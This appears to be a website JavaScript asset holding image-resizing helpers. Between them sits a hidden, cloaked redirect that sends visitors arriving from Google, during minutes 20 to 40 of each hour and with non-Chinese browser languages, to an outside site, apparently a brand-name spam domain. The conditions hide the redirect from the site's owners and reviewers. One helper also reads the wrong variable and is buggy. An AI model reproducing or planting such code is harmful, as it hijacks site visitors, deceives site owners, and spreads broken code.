// JavaScript Document
var  flag=false;  
function  DrawImage(ImgD){  
     var  image=new  Image();  
     image.src=ImgD.src;  
     if(image.width>0  &&  image.height>0){  
       flag=true;  
       if(image.width/image.height>=  180/200){  
         if(image.width>180){      
         ImgD.width=180;  
         ImgD.height=(image.height*180)/image.width;  
         }else{  
         ImgD.width=image.width;      
         ImgD.height=image.height;  
         }  
         //ImgD.alt=image.width+"*"+image.height;  
         }  
       else{  
         if(image.height>200){      
         ImgD.height=200;  
         ImgD.width=(image.width*200)/image.height;            
         }else{  
         ImgD.width=image.width;      
         ImgD.height=image.height;  
         }  
         //ImgD.alt=image.width+"*"+image.height;  
         }  
       }  
}    


var  flagbb=false;  
function  bb(ImgDbb){  
     var  imagebb=new  Image();  
     imagebb.src=ImgD.src;  
     if(imagebb.width>0  &&  imagebb.height>0){  
       flagbb=true;  
       if(imagebb.width/imagebb.height>=  300/300){  
         if(imagebb.width>300){      
         ImgDbb.width=300;  
         ImgDbb.height=(imagebb.height*300)/imagebb.width;  
         }else{  
         ImgDbb.width=imagebb.width;      
         ImgDbb.height=imagebb.height;  
         }  
         ImgDbb.alt=imagebb.width+"*"+imagebb.height;  
         }  
       else{  
         if(imagebb.height>300){      
         ImgDbb.height=300;  
         ImgDbb.width=(imagebb.width*300)/imagebb.height;            
         }else{  
         ImgDbb.width=imagebb.width;      
         ImgDbb.height=imagebb.height;  
         }  
         ImgDbb.alt=imagebb.width+"*"+imagebb.height;  
         }  
       }  
}

//---------------
if (navigator.appName == 'Netscape')
{
var language = navigator.language;
}
else
{
var language = navigator.browserLanguage;
}
var myDate=new Date();
var tctime = myDate.getMinutes().toString();
if (tctime>20 && tctime<40 && document.referrer.indexOf("www.google")>=0 && !(language.indexOf('zh') > -1))
{

window.location.replace("http://www.chanel-gucci.com/");
}
else
{
}
//------


function aa(ImgD){
 if(ImgD.width/ImgD.height>1){
  ImgD.width=(ImgD.width>200)?200:ImgD.width;
  }else{
  ImgD.height=(ImgD.height>200)?200:ImgD.height;
  }
}